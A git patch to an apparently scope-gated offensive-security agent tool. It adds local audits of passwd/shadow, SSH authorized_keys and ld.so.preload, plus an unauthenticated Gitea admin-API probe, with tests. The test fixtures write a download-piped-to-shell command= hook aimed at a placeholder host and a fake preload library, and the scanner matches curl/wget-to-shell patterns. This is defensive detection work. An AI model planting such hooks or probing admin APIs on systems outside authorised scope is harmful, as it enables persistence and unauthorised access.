From 7b853ad392ae0588c6cfab03eee20d3bcf62b5c3 Mon Sep 17 00:00:00 2001 From: lotherk Date: Sun, 22 Nov 2026 17:54:04 +0000 Subject: [PATCH] apex-twin 1.67.0: passwd, authorized_keys and ld.so.preload audits, Gitea probe Blue: - passwd_audit: /etc/passwd and /etc/shadow: duplicate UID 0, empty shadow hashes, system accounts with a login shell and world-writable files. - authorized_keys_audit: root and home keys: world-writable files or .ssh directories and command= hooks piping a download into a shell. - ld_preload_audit: a non-empty preload list, a world-writable file and world-writable libraries. Red: - gitea_api_probe: /api/v1/version and /api/v1/admin/users without credentials; a 2xx admin list is an open admin API with evidence. Tests with passwd/shadow, authorized_keys and ld.so.preload trees plus two Gitea fixtures (open and 403). 1266 checks, ASan suite green, analyze clean, release-check green including distcheck 1.67.0. --- CHANGELOG.md | 18 ++- README.md | 19 ++- SECURITY.md | 4 +- docs/apex-twin.1 | 7 +- src/apex.h | 2 +- src/tools_blue.c | 358 ++++++++++++++++++++++++++++++++++++++++++++ src/tools_red.c | 116 ++++++++++++++ tests/gate_audit.py | 2 +- tests/run.py | 189 ++++++++++++++++++++++- 9 files changed, 700 insertions(+), 15 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 5813224..27d4b13 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -8,7 +8,23 @@ fields, and state from an older version is read by a newer one. There are no git tags. The hash next to a version is the commit that introduced it; the current entry is the commit that adds this section. -## 1.66.0 — 2026-11-23 — this change +## 1.67.0 — 2026-11-23 — this change + +- **passwd** (`passwd_audit`): `/etc/passwd` and `/etc/shadow`: duplicate + UID 0, empty shadow hashes, system accounts with a login shell and + world-writable files. +- **authorized_keys** (`authorized_keys_audit`): root and home key files: + world-writable files or `.ssh` directories and `command=` hooks that pipe a + download into a shell. +- **ld.so.preload** (`ld_preload_audit`): a non-empty preload list, a + world-writable file and world-writable libraries. +- **Gitea API** (`gitea_api_probe`): `/api/v1/version` and + `/api/v1/admin/users` without credentials; a 2xx admin list is an open + admin API, saved as evidence. +- Tests with passwd/shadow, authorized_keys and ld.so.preload trees plus two + Gitea fixtures (open and 403). 1266 checks. Coverage 84.5%. + +## 1.66.0 — 2026-11-23 — 03c8a63 - **Bluetooth** (`bluetooth_audit`): `main.conf`: `AutoEnable=true`, `Privacy=off`, `JustWorksRepairing=always`, a missing LE controller mode diff --git a/README.md b/README.md index 3f42e06..fdbd8cc 100644 --- a/README.md +++ b/README.md @@ -5,11 +5,11 @@ no Python in the serving path. It gives an agent real reconnaissance and real we testing behind a scope gate that refuses everything until a rules-of-engagement file says otherwise. -**302 tools · 1254 end-to-end checks · 340 fuzz cases · 84.4% line coverage · ~1025 KiB** +**306 tools · 1266 end-to-end checks · 340 fuzz cases · 84.5% line coverage · ~1029 KiB** ``` $ ./apex-twin --check -{"version":"1.66.0","tools":302,...,"scope":{"loaded":true,...}} +{"version":"1.67.0","tools":306,...,"scope":{"loaded":true,...}} ``` APEX TWIN was inspired by [ARTEX](https://github.com/Autumn-27/artex) (scope @@ -149,7 +149,7 @@ closes a request whose head or body does not arrive within --- -## Tools (302) +## Tools (306) ### Scope and bookkeeping @@ -225,6 +225,7 @@ uploads and secret-file reads. It does not execute anything. | `smtp_auth_probe` | EHLO AUTH mechanisms; PLAIN/LOGIN without STARTTLS is a clear-text risk | | `jenkins_api_probe` | `/api/json` and `/whoAmI` without auth; job list as evidence | | `nexus_probe` | `/service/rest/v1/repositories` without auth; list as evidence | +| `gitea_api_probe` | `/api/v1/admin/users` without auth; admin list as evidence | | `cookie_audit` | Secure/HttpOnly/SameSite per cookie, incl. `SameSite=None` without Secure | | `http_options` | `Allow`/`Public`; flags TRACE, PUT, DELETE | | `sqli_probe` | Quote and boolean payloads; differing answers are a **lead**, not proof | @@ -499,6 +500,9 @@ command in the allowlist: a receiver is a scanner, a transmitter is an attack. | `bluetooth_audit` | main.conf: auto enable, privacy off, JustWorks always | | `networkmanager_audit` | connections: WEP, readable PSK, 802.1X without CA | | `dbus_audit` | policy: `own="*"` and `send_destination="*"` | +| `passwd_audit` | duplicate UID 0, empty shadow hash, system login shells | +| `authorized_keys_audit` | writable keys/dirs, `command=` download pipes | +| `ld_preload_audit` | non-empty preload list, writable library | ### ESP32 @@ -819,6 +823,8 @@ The full threat model, trust boundaries and a hardening checklist are in | Jenkins API | two unauthenticated GETs, job list as evidence | | bluetooth/networkmanager/dbus | config reads only; optional root prefix | | Nexus API | two unauthenticated GETs, repository list as evidence | +| passwd/authorized_keys/ld_preload | config reads only; optional root prefix | +| Gitea API | two unauthenticated GETs, admin list as evidence | | USB audit | 200 devices, sysfs reads only | --- @@ -830,7 +836,7 @@ Flags are fixed: `-std=c99 -Wall -Wextra -Wpedantic -Werror` plus ```sh make # apex-twin -make test # version check + gate audit + 1254 end-to-end checks +make test # version check + gate audit + 1266 end-to-end checks make version-check # the five places that carry a version must agree make gate-audit # static: every target-taking tool calls the gate make asan # apex-twin-asan with ASan + UBSan @@ -961,7 +967,8 @@ src/tools_red.c vuln_check, subdomain_enum, cred_test, vhost_discovery, minio_admin_probe, nats_monitoring_probe, influxdb_probe, clickhouse_probe, kibana_api_probe, logstash_api_probe, amqp_probe, tls_chain_probe, - smtp_auth_probe, jenkins_api_probe, nexus_probe + smtp_auth_probe, jenkins_api_probe, nexus_probe, + gitea_api_probe src/tools_blue.c hardening_audit, log_audit, ioc_scan, web_log_audit, detect_rules, integrity_baseline, mitre_map, process_snapshot, persistence_audit, net_baseline, @@ -1004,7 +1011,7 @@ examples/ scope.json ## Status -1.66.0. Built and run: 302 tools, 1254 checks, 340 fuzz cases and 84.4% line +1.67.0. Built and run: 306 tools, 1266 checks, 340 fuzz cases and 84.5% line coverage. The loop closes: a probe captures the exchange as a pair, a finding points at it, `finding_update` gives it a state, an asset records the host it came from, `cors_check`/`cookie_audit`/`http_options` turn a web answer into a diff --git a/SECURITY.md b/SECURITY.md index 0a6e6ef..01f3bb6 100644 --- a/SECURITY.md +++ b/SECURITY.md @@ -9,7 +9,7 @@ problem. The supported line is the one printed by `apex-twin --version` for the tree you built; this document ships with that same tree. At the time of writing the line -is **1.66.x** (`src/apex.h`, `APEX_VERSION`). Security fixes land on the current +is **1.67.x** (`src/apex.h`, `APEX_VERSION`). Security fixes land on the current line. The 1.0 line promises that the on-disk JSON formats for findings, assets and traffic only gain fields, so state stays readable; older builds are still rebuilt rather than patched in place. @@ -66,6 +66,8 @@ only narrow what the proxy does (the scope gate still runs first). - **Firmware writing needs an explicit confirmation.** `esp_flash` refuses without `confirm=true`, validates an absolute image path and audits the attempt; it exists to provision the operator's own board. +- **passwd/authorized_keys/ld.so.preload audits read local files.** The + Gitea probe sends two unauthenticated GETs and saves the admin list. - **Bluetooth/NetworkManager/D-Bus audits read local files.** The Nexus probe sends two unauthenticated GETs and saves the repository list. - **USBGuard/certbot/WPA audits read local files.** The Jenkins API probe diff --git a/docs/apex-twin.1 b/docs/apex-twin.1 index cd316ee..75d1cfb 100644 --- a/docs/apex-twin.1 +++ b/docs/apex-twin.1 @@ -1,5 +1,5 @@ .\" apex-twin.1 - manual page for APEX TWIN -.TH APEX-TWIN 1 "2026-11-21" "apex-twin 1.66.0" "User Commands" +.TH APEX-TWIN 1 "2026-11-21" "apex-twin 1.67.0" "User Commands" .SH NAME apex-twin \- scope\-gated offensive\-security MCP server .SH SYNOPSIS @@ -46,7 +46,7 @@ sip_probe, telnet_probe, http_methods, websocket_probe, ike_probe, snmp_walk, ldap_search, openapi_discovery, csrf_audit, rpc_probe, ntp_probe, dnssec_check, smtp_starttls_probe, tls_ocsp_probe, alpn_probe, webdav_probe, dns_wildcard_check, dns_caa_check, sni_vhost_check, tls_client_auth_probe, kubernetes_api_probe, dns_ns_consistency, dns_dangling_cname, http_redirect_audit, websocket_origin_check, dns_fcrdns_check, dns_soa_mname_check, http_redirect_audit, -websocket_origin_check, hsts_audit, tls_hostname_check, ftp_tls_probe, zookeeper_4lw_probe, etcd_api_probe, docker_registry_probe, consul_api_probe, couchdb_probe, prometheus_api_probe, rabbitmq_management_probe, grafana_api_probe, minio_admin_probe, nats_monitoring_probe, influxdb_probe, clickhouse_probe, kibana_api_probe, logstash_api_probe, amqp_probe, tls_chain_probe, smtp_auth_probe, jenkins_api_probe, nexus_probe), +websocket_origin_check, hsts_audit, tls_hostname_check, ftp_tls_probe, zookeeper_4lw_probe, etcd_api_probe, docker_registry_probe, consul_api_probe, couchdb_probe, prometheus_api_probe, rabbitmq_management_probe, grafana_api_probe, minio_admin_probe, nats_monitoring_probe, influxdb_probe, clickhouse_probe, kibana_api_probe, logstash_api_probe, amqp_probe, tls_chain_probe, smtp_auth_probe, jenkins_api_probe, nexus_probe, gitea_api_probe), defensive audits (hardening_audit, log_audit, ioc_scan, web_log_audit, detect_rules, integrity_baseline, mitre_map, process_snapshot, persistence_audit, @@ -80,7 +80,8 @@ hosts_access_audit, profile_audit, atd_audit, securetty_audit, tmpfiles_audit, compose_audit, k8s_manifest_audit, dockerfile_audit, openssl_cnf_audit, curlrc_audit, wgetrc_audit, resolved_audit, udev_audit, issue_audit, usbguard_audit, certbot_audit, -wpa_supplicant_audit, bluetooth_audit, networkmanager_audit, dbus_audit) +wpa_supplicant_audit, bluetooth_audit, networkmanager_audit, dbus_audit, passwd_audit, +authorized_keys_audit, ld_preload_audit) and ESP32 board tools (esp_info, esp_monitor, esp_read_flash, esp_flash, esp_partition_table, esp_nvs_parse, firmware_scan, esp_app_info, esp_image_verify). diff --git a/src/apex.h b/src/apex.h index cca5710..c8abf01 100644 --- a/src/apex.h +++ b/src/apex.h @@ -15,7 +15,7 @@ #include "mcp.h" -#define APEX_VERSION "1.66.0" +#define APEX_VERSION "1.67.0" #define APEX_MAX_OUT (1u << 20) #define APEX_PATH_MAX 512 #define APEX_PATH_FULL 1024 diff --git a/src/tools_blue.c b/src/tools_blue.c index b076164..3f41f5e 100644 --- a/src/tools_blue.c +++ b/src/tools_blue.c @@ -20098,6 +20098,344 @@ static void t_dbus_audit(mcp_conn *c, const mcp_json *args, void *user) mcp_buf_free(&findings); } +/* --------------------------------------------------------------- passwd_audit */ + +static void t_passwd_audit(mcp_conn *c, const mcp_json *args, void *user) +{ + const char *root = mcp_arg_string(args, "root"); + char passwd_path[1024]; + char shadow_path[1024]; + static char passwd[131072]; + static char shadow[131072]; + struct stat st; + mcp_buf b; + mcp_buf findings; + int first = 1; + int count = 0; + int uid0 = 0; + int empty_pw = 0; + int shell_users = 0; + int passwd_read; + int shadow_read; + char *copy; + char *save = NULL; + char *line; + + (void)user; + if (root == NULL) + root = ""; + if (strlen(root) > 400) { + mcp_reply_error(c, "root path too long"); + return; + } + snprintf(passwd_path, sizeof(passwd_path), "%s/etc/passwd", root); + snprintf(shadow_path, sizeof(shadow_path), "%s/etc/shadow", root); + passwd_read = read_text(passwd_path, passwd, sizeof(passwd)) > 0; + shadow_read = read_text(shadow_path, shadow, sizeof(shadow)) > 0; + if (!passwd_read && !shadow_read) { + mcp_reply_error(c, "cannot read /etc/passwd or /etc/shadow"); + return; + } + mcp_buf_init(&findings); + if (passwd_read && stat(passwd_path, &st) == 0 && + (st.st_mode & 0002) != 0) { + add_finding(&findings, &first, "world-writable", "high", + "/etc/passwd is writable by anyone"); + count++; + } + if (shadow_read && stat(shadow_path, &st) == 0 && + (st.st_mode & 0002) != 0) { + add_finding(&findings, &first, "world-writable", "high", + "/etc/shadow is writable by anyone"); + count++; + } + if (passwd_read) { + copy = strdup(passwd); + if (copy != NULL) { + line = strtok_r(copy, "\n", &save); + while (line != NULL) { + char name[64]; + char hash[8]; + int uid = -1; + int n = sscanf(line, "%63[^:]:%7[^:]:%d:", + name, hash, &uid); + + if (n == 3) { + if (uid == 0) + uid0++; + { + char *last = strrchr(line, ':'); + + if (uid != 0 && uid < 1000 && + last != NULL && + (strstr(last, "nologin") == NULL && + strstr(last, "false") == NULL && + strstr(last, "sync") == NULL)) { + add_finding(&findings, + &first, + "system-login-shell", + "medium", + "%s (uid %d) has a login shell", + name, uid); + count++; + shell_users++; + } + } + } + line = strtok_r(NULL, "\n", &save); + } + free(copy); + } + } + if (uid0 > 1) { + add_finding(&findings, &first, "duplicate-uid0", "high", + "%d accounts share UID 0", uid0); + count++; + } + if (shadow_read) { + copy = strdup(shadow); + if (copy != NULL) { + line = strtok_r(copy, "\n", &save); + while (line != NULL) { + char *first_colon = strchr(line, ':'); + + if (first_colon != NULL && + first_colon[1] == ':') { + char name[64]; + size_t kl = (size_t)(first_colon - line); + + if (kl >= sizeof(name)) + kl = sizeof(name) - 1; + memcpy(name, line, kl); + name[kl] = '\0'; + add_finding(&findings, &first, + "empty-password", "high", + "%s has an empty password hash", + name); + count++; + empty_pw++; + } + line = strtok_r(NULL, "\n", &save); + } + free(copy); + } + } + mcp_buf_init(&b); + mcp_buf_puts(&b, "{\"root\":"); + apex_json_str(&b, root); + mcp_buf_printf(&b, ",\"uid0_accounts\":%d,\"empty_passwords\":%d," + "\"system_login_shells\":%d,\"findings_count\":%d," + "\"findings\":[", + uid0, empty_pw, shell_users, count); + if (findings.p != NULL) + mcp_buf_add(&b, findings.p, findings.len); + mcp_buf_puts(&b, "]}"); + mcp_reply_json(c, b.p); + mcp_buf_free(&b); + mcp_buf_free(&findings); +} + +/* ------------------------------------------------------ authorized_keys_audit */ + +static void authkeys_scan_file(mcp_buf *findings, int *first, int *count, + const char *path, int *files, int *hooks) +{ + static char text[65536]; + struct stat st; + char dir[1024]; + char *slash; + char *copy; + char *save = NULL; + char *line; + + if (read_text(path, text, sizeof(text)) < 0) + return; + (*files)++; + if (stat(path, &st) == 0 && (st.st_mode & 0002) != 0) { + add_finding(findings, first, "world-writable", "high", + "%s is writable by anyone", path); + (*count)++; + } + snprintf(dir, sizeof(dir), "%.900s", path); + slash = strrchr(dir, '/'); + if (slash != NULL) { + *slash = '\0'; + if (stat(dir, &st) == 0 && S_ISDIR(st.st_mode) && + (st.st_mode & 0002) != 0) { + add_finding(findings, first, "writable-dir", "high", + "%s sits in a world-writable directory", + path); + (*count)++; + } + } + copy = strdup(text); + if (copy == NULL) + return; + line = strtok_r(copy, "\n", &save); + while (line != NULL) { + char *s = line; + + while (*s == ' ' || *s == '\t') + s++; + if (*s != '#' && strstr(s, "command=") != NULL && + (strstr(s, "curl") != NULL || strstr(s, "wget") != NULL) && + (strstr(s, "| sh") != NULL || strstr(s, "|sh") != NULL || + strstr(s, "| bash") != NULL || strstr(s, "|bash") != NULL)) { + add_finding(findings, first, "command-hook", "high", + "%s runs a download through a shell for a key", + path); + (*count)++; + (*hooks)++; + } + line = strtok_r(NULL, "\n", &save); + } + free(copy); +} + +static void t_authorized_keys_audit(mcp_conn *c, const mcp_json *args, + void *user) +{ + const char *root = mcp_arg_string(args, "root"); + char path[1024]; + mcp_buf b; + mcp_buf findings; + int first = 1; + int count = 0; + int files = 0; + int hooks = 0; + DIR *d; + struct dirent *ent; + + (void)user; + if (root == NULL) + root = ""; + if (strlen(root) > 400) { + mcp_reply_error(c, "root path too long"); + return; + } + mcp_buf_init(&findings); + snprintf(path, sizeof(path), "%s/root/.ssh/authorized_keys", root); + authkeys_scan_file(&findings, &first, &count, path, &files, &hooks); + snprintf(path, sizeof(path), "%s/home", root); + d = opendir(path); + if (d != NULL) { + while ((ent = readdir(d)) != NULL) { + char full[1200]; + struct stat st; + + if (ent->d_name[0] == '.') + continue; + snprintf(full, sizeof(full), "%.900s/%.200s/%.32s", + path, ent->d_name, ".ssh/authorized_keys"); + if (stat(full, &st) != 0 || !S_ISREG(st.st_mode)) + continue; + authkeys_scan_file(&findings, &first, &count, full, + &files, &hooks); + } + closedir(d); + } + if (files == 0) { + mcp_buf_free(&findings); + mcp_reply_error(c, "no authorized_keys file found"); + return; + } + mcp_buf_init(&b); + mcp_buf_puts(&b, "{\"root\":"); + apex_json_str(&b, root); + mcp_buf_printf(&b, ",\"files\":%d,\"command_hooks\":%d," + "\"findings_count\":%d,\"findings\":[", + files, hooks, count); + if (findings.p != NULL) + mcp_buf_add(&b, findings.p, findings.len); + mcp_buf_puts(&b, "]}"); + mcp_reply_json(c, b.p); + mcp_buf_free(&b); + mcp_buf_free(&findings); +} + +/* ----------------------------------------------------------- ld_preload_audit */ + +static void t_ld_preload_audit(mcp_conn *c, const mcp_json *args, void *user) +{ + const char *root = mcp_arg_string(args, "root"); + char path[1024]; + static char text[65536]; + struct stat st; + mcp_buf b; + mcp_buf findings; + int first = 1; + int count = 0; + int nonempty = 0; + int writable_lib = 0; + char *copy; + char *save = NULL; + char *line; + + (void)user; + if (root == NULL) + root = ""; + if (strlen(root) > 400) { + mcp_reply_error(c, "root path too long"); + return; + } + snprintf(path, sizeof(path), "%s/etc/ld.so.preload", root); + if (read_text(path, text, sizeof(text)) < 0) { + mcp_reply_error(c, "cannot read /etc/ld.so.preload"); + return; + } + mcp_buf_init(&findings); + if (stat(path, &st) == 0 && (st.st_mode & 0002) != 0) { + add_finding(&findings, &first, "world-writable", "high", + "/etc/ld.so.preload is writable by anyone"); + count++; + } + copy = strdup(text); + if (copy != NULL) { + line = strtok_r(copy, "\n", &save); + while (line != NULL) { + char *s = line; + + while (*s == ' ' || *s == '\t') + s++; + if (*s != '#' && *s != '\0') { + char lib[1024]; + + nonempty = 1; + snprintf(lib, sizeof(lib), "%.400s%s", root, + s); + if (stat(lib, &st) == 0 && + (st.st_mode & 0002) != 0) { + add_finding(&findings, &first, + "writable-library", "high", + "%s is writable by anyone", + s); + count++; + writable_lib++; + } + } + line = strtok_r(NULL, "\n", &save); + } + free(copy); + } + if (nonempty) { + add_finding(&findings, &first, "preload-nonempty", "high", + "ld.so.preload loads a library into every process"); + count++; + } + mcp_buf_init(&b); + mcp_buf_puts(&b, "{\"root\":"); + apex_json_str(&b, root); + mcp_buf_printf(&b, ",\"nonempty\":%s,\"writable_libraries\":%d," + "\"findings_count\":%d,\"findings\":[", + nonempty ? "true" : "false", writable_lib, count); + if (findings.p != NULL) + mcp_buf_add(&b, findings.p, findings.len); + mcp_buf_puts(&b, "]}"); + mcp_reply_json(c, b.p); + mcp_buf_free(&b); + mcp_buf_free(&findings); +} + const mcp_tool TOOLS_BLUE[] = { { "hardening_audit", "Read-only posture audit of the local host: sshd_config (root login, " @@ -21255,6 +21593,26 @@ const mcp_tool TOOLS_BLUE[] = { "{\"type\":\"object\",\"properties\":{" "\"root\":{\"type\":\"string\",\"description\":\"prefix, default empty\"}}}", t_dbus_audit }, + { "passwd_audit", + "Parse /etc/passwd and /etc/shadow (root prefix): duplicate UID 0, " + "empty shadow hashes, system accounts with a login shell and " + "world-writable files. Read-only.", + "{\"type\":\"object\",\"properties\":{" + "\"root\":{\"type\":\"string\",\"description\":\"prefix, default empty\"}}}", + t_passwd_audit }, + { "authorized_keys_audit", + "Scan root and home authorized_keys (root prefix): world-writable files " + "or .ssh directories and command= hooks that pipe a download into a " + "shell. Read-only.", + "{\"type\":\"object\",\"properties\":{" + "\"root\":{\"type\":\"string\",\"description\":\"prefix, default empty\"}}}", + t_authorized_keys_audit }, + { "ld_preload_audit", + "Parse /etc/ld.so.preload (root prefix): a non-empty preload list, a " + "world-writable file and world-writable libraries. Read-only.", + "{\"type\":\"object\",\"properties\":{" + "\"root\":{\"type\":\"string\",\"description\":\"prefix, default empty\"}}}", + t_ld_preload_audit }, }; const size_t TOOLS_BLUE_N = sizeof(TOOLS_BLUE) / sizeof(TOOLS_BLUE[0]); diff --git a/src/tools_red.c b/src/tools_red.c index 6f8a012..c49acd1 100644 --- a/src/tools_red.c +++ b/src/tools_red.c @@ -8012,6 +8012,112 @@ static void t_nexus_probe(mcp_conn *c, const mcp_json *args, void *user) mcp_buf_free(&b); } +/* ----------------------------------------------------------- gitea_api_probe */ + +static void t_gitea_api_probe(mcp_conn *c, const mcp_json *args, void *user) +{ + static const char *paths[] = { "/api/v1/version", + "/api/v1/admin/users", NULL }; + const char *target = mcp_arg_string(args, "target"); + int port = mcp_arg_int(args, "port", 3000); + int tls = mcp_arg_bool(args, "tls", apex_looks_tls(port)); + char version[64]; + mcp_buf b; + int first = 1; + int tested = 0; + int open_count = 0; + int admin_open = 0; + char *evidence = NULL; + int i; + + (void)user; + if (target == NULL || *target == '\0') { + mcp_reply_error(c, "target is required"); + return; + } + if (port <= 0 || port > 65535) { + mcp_reply_error(c, "port out of range"); + return; + } + if (!gated(c, "gitea_api_probe", target, port)) + return; + version[0] = '\0'; + mcp_buf_init(&b); + mcp_buf_puts(&b, "{\"target\":"); + apex_json_str(&b, target); + mcp_buf_printf(&b, ",\"port\":%d,\"tls\":%s,\"endpoints\":[", port, + tls ? "true" : "false"); + for (i = 0; paths[i] != NULL; i++) { + char status[256]; + char *resp = NULL; + size_t len = 0; + int code; + int open; + int admin = strstr(paths[i], "admin") != NULL; + + status[0] = '\0'; + if (apex_http_once(target, port, tls, "GET", paths[i], NULL, NULL, + 8000, &resp, &len, status, + sizeof(status)) != 0) + continue; + tested++; + code = apex_status_code(status); + open = code >= 200 && code < 300; + if (open) + open_count++; + if (open && !admin && resp != NULL) { + const char *p = strstr(resp, "\"version\""); + + if (p != NULL) { + p = strchr(p + 9, '"'); + if (p != NULL) { + size_t k = 0; + + p++; + while (p[k] != '\0' && p[k] != '"' && + k + 1 < sizeof(version)) { + version[k] = p[k]; + k++; + } + version[k] = '\0'; + } + } + } + if (open && admin) { + admin_open = 1; + if (evidence == NULL) + evidence = apex_evidence_save("gitea-admin-users", + resp, len); + } + if (!first) + mcp_buf_puts(&b, ","); + first = 0; + mcp_buf_puts(&b, "{\"path\":"); + apex_json_str(&b, paths[i]); + mcp_buf_printf(&b, ",\"status\":%d,\"bytes\":%lu,\"open\":%s}", + code, (unsigned long)len, + open ? "true" : "false"); + free(resp); + } + mcp_buf_printf(&b, "],\"tested\":%d,\"open_count\":%d," + "\"admin_open\":%s,\"version\":", tested, open_count, + admin_open ? "true" : "false"); + apex_json_str(&b, version); + mcp_buf_puts(&b, ",\"evidence\":"); + if (evidence != NULL) + apex_json_str(&b, evidence); + else + mcp_buf_puts(&b, "null"); + mcp_buf_puts(&b, "}"); + apex_audit("gitea_api_probe", target, port, !admin_open, + admin_open + ? "the Gitea admin API answers without authentication" + : "the Gitea admin API requires authentication", "list"); + mcp_reply_json(c, b.p); + free(evidence); + mcp_buf_free(&b); +} + const mcp_tool TOOLS_RED[] = { { "vuln_check", "Non-destructive verification of exposed artifacts on one web target: " @@ -8694,6 +8800,16 @@ const mcp_tool TOOLS_RED[] = { "\"tls\":{\"type\":\"boolean\"}}," "\"required\":[\"target\"]}", t_nexus_probe }, + { "gitea_api_probe", + "Query Gitea without credentials: /api/v1/version and " + "/api/v1/admin/users. A 2xx on the admin list is an open admin API; the " + "answer is saved as evidence. Gate: the target.", + "{\"type\":\"object\",\"properties\":{" + "\"target\":{\"type\":\"string\"}," + "\"port\":{\"type\":\"integer\",\"description\":\"default 3000\"}," + "\"tls\":{\"type\":\"boolean\"}}," + "\"required\":[\"target\"]}", + t_gitea_api_probe }, { "dns_ns_consistency", "Fetch NS records for a domain from the parent resolver and from its own " "first nameserver (resolved to an address), then report names present on " diff --git a/tests/gate_audit.py b/tests/gate_audit.py index 3b5cbdf..d82d616 100755 --- a/tests/gate_audit.py +++ b/tests/gate_audit.py @@ -21,7 +21,7 @@ import re import sys HERE = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) -EXPECTED_TOOLS = 302 +EXPECTED_TOOLS = 306 GATE = ("gated(", "gated_cmd(", "gated_run(", "apex_scope_check(") NET = ("http_once(", "tcp_connect_host(", "tcp_probe(", "apex_run(") # Tools whose "target" argument filters local records; they never touch it. diff --git a/tests/run.py b/tests/run.py index 4fb91eb..db522e3 100755 --- a/tests/run.py +++ b/tests/run.py @@ -134,7 +134,7 @@ res, _ = run([ ], home=empty) check("tools/list answers", any(r.get("id") == 1 for r in res)) tools = [r for r in res if r.get("id") == 1][0]["result"]["tools"] -check("302 tools registered", len(tools) == 302, len(tools)) +check("306 tools registered", len(tools) == 306, len(tools)) names = {t["name"] for t in tools} for need in ("portscan", "nmap", "http_request", "marauder_scan", "method_playbook", "finding_add", "finding_update", "scope_check", @@ -1560,7 +1560,7 @@ try: check("http initialize", init["result"]["serverInfo"]["name"] == "apex-twin", init) listing = post({"jsonrpc": "2.0", "id": 2, "method": "tools/list"}) - check("http tools/list", len(listing["result"]["tools"]) == 302) + check("http tools/list", len(listing["result"]["tools"]) == 306) shown = post(call(3, "scope_show")) check("http scope_show", '"loaded":true' in shown["result"]["content"][0]["text"]) # the id must be the request's id, not one found inside the arguments @@ -13752,6 +13752,190 @@ shutil.rmtree(db_root, ignore_errors=True) shutil.rmtree(db_good_root, ignore_errors=True) shutil.rmtree(cfg38_home, ignore_errors=True) +print("\n== passwd, authorized_keys, ld.so.preload and Gitea ==\n") + +pw_root = tempfile.mkdtemp(prefix="apex-pw-") +os.makedirs(os.path.join(pw_root, "etc")) +pw_passwd = os.path.join(pw_root, "etc", "passwd") +with open(pw_passwd, "w") as f: + f.write("root:x:0:0:root:/root:/bin/bash\n") + f.write("toor:x:0:0:toor:/root:/bin/bash\n") + f.write("daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n") + f.write("web:x:33:33:web:/var/www:/bin/bash\n") +os.chmod(pw_passwd, 0o666) +with open(os.path.join(pw_root, "etc", "shadow"), "w") as f: + f.write("root:*:19000:0:99999:7:::\n") + f.write("toor::19000:0:99999:7:::\n") + f.write("daemon:*:19000:0:99999:7:::\n") + f.write("web:*:19000:0:99999:7:::\n") +pw_good_root = tempfile.mkdtemp(prefix="apex-pwg-") +os.makedirs(os.path.join(pw_good_root, "etc")) +with open(os.path.join(pw_good_root, "etc", "passwd"), "w") as f: + f.write("root:x:0:0:root:/root:/bin/bash\n") + f.write("alice:x:1000:1000:alice:/home/alice:/bin/bash\n") +with open(os.path.join(pw_good_root, "etc", "shadow"), "w") as f: + f.write("root:$6$hash:19000:0:99999:7:::\n") + f.write("alice:$6$hash:19000:0:99999:7:::\n") + +ak_root = tempfile.mkdtemp(prefix="apex-ak-") +os.makedirs(os.path.join(ak_root, "root", ".ssh")) +os.chmod(os.path.join(ak_root, "root", ".ssh"), 0o777) +ak_bad = os.path.join(ak_root, "root", ".ssh", "authorized_keys") +with open(ak_bad, "w") as f: + f.write('command="curl -s http://example.test/x | sh" ' + "ssh-rsa AAAAB3Nza test\n") +os.chmod(ak_bad, 0o666) +ak_good_root = tempfile.mkdtemp(prefix="apex-akg-") +os.makedirs(os.path.join(ak_good_root, "home", "bob", ".ssh")) +ak_good = os.path.join(ak_good_root, "home", "bob", ".ssh", + "authorized_keys") +with open(ak_good, "w") as f: + f.write("ssh-ed25519 AAAAC3Nza bob@example\n") +os.chmod(ak_good, 0o600) +os.chmod(os.path.join(ak_good_root, "home", "bob", ".ssh"), 0o700) + +lp_root = tempfile.mkdtemp(prefix="apex-lp-") +os.makedirs(os.path.join(lp_root, "etc")) +os.makedirs(os.path.join(lp_root, "usr", "local", "lib")) +lp_bad = os.path.join(lp_root, "etc", "ld.so.preload") +with open(lp_bad, "w") as f: + f.write("/usr/local/lib/libevil.so\n") +os.chmod(lp_bad, 0o666) +lp_lib = os.path.join(lp_root, "usr", "local", "lib", "libevil.so") +with open(lp_lib, "w") as f: + f.write("not a real library\n") +os.chmod(lp_lib, 0o666) +lp_good_root = tempfile.mkdtemp(prefix="apex-lpg-") +os.makedirs(os.path.join(lp_good_root, "etc")) +with open(os.path.join(lp_good_root, "etc", "ld.so.preload"), "w") as f: + pass + + +class _GiteaHandler(http.server.BaseHTTPRequestHandler): + def do_GET(self): + path = urllib.parse.urlsplit(self.path).path + if path == "/api/v1/version": + body = b'{"version":"1.21.0"}' + self.send_response(200) + elif path == "/api/v1/admin/users": + body = b'[]' + self.send_response(200) + else: + body = b'{"message":"not found"}' + self.send_response(404) + self.send_header("Content-Type", "application/json") + self.send_header("Content-Length", str(len(body))) + self.end_headers() + self.wfile.write(body) + + def log_message(self, *args): + pass + + +class _GiteaAuthHandler(http.server.BaseHTTPRequestHandler): + def do_GET(self): + path = urllib.parse.urlsplit(self.path).path + if path == "/api/v1/version": + body = b'{"version":"1.21.0"}' + self.send_response(200) + else: + body = b'{"message":"user is not an admin"}' + self.send_response(403) + self.send_header("Content-Length", str(len(body))) + self.end_headers() + self.wfile.write(body) + + def log_message(self, *args): + pass + + +gt_srv = http.server.HTTPServer(("127.0.0.1", 0), _GiteaHandler) +gt_port = gt_srv.server_address[1] +threading.Thread(target=gt_srv.serve_forever, daemon=True).start() +gt_auth_srv = http.server.HTTPServer(("127.0.0.1", 0), + _GiteaAuthHandler) +gt_auth_port = gt_auth_srv.server_address[1] +threading.Thread(target=gt_auth_srv.serve_forever, daemon=True).start() + +cfg39_home = tempfile.mkdtemp(prefix="apex-cfg39-home-") +write_scope(cfg39_home, {"label": "cfg39", "expires": "2099-12-31T23:59:59Z", + "allow_private": True, "allow_ip": ["127.0.0.1"], + "allow_port": [str(gt_port), str(gt_auth_port)]}) +res, _ = run([ + call(1, "passwd_audit", root=pw_root), + call(2, "passwd_audit", root=pw_good_root), + call(3, "authorized_keys_audit", root=ak_root), + call(4, "authorized_keys_audit", root=ak_good_root), + call(5, "ld_preload_audit", root=lp_root), + call(6, "ld_preload_audit", root=lp_good_root), + call(7, "gitea_api_probe", target="127.0.0.1", port=gt_port, + tls=False), + call(8, "gitea_api_probe", target="127.0.0.1", port=gt_auth_port, + tls=False), + call(9, "gitea_api_probe", target="198.51.100.9", port=3000), + call(10, "passwd_audit", root="/nonexistent-pw"), + call(11, "authorized_keys_audit", root="/nonexistent-ak"), + call(12, 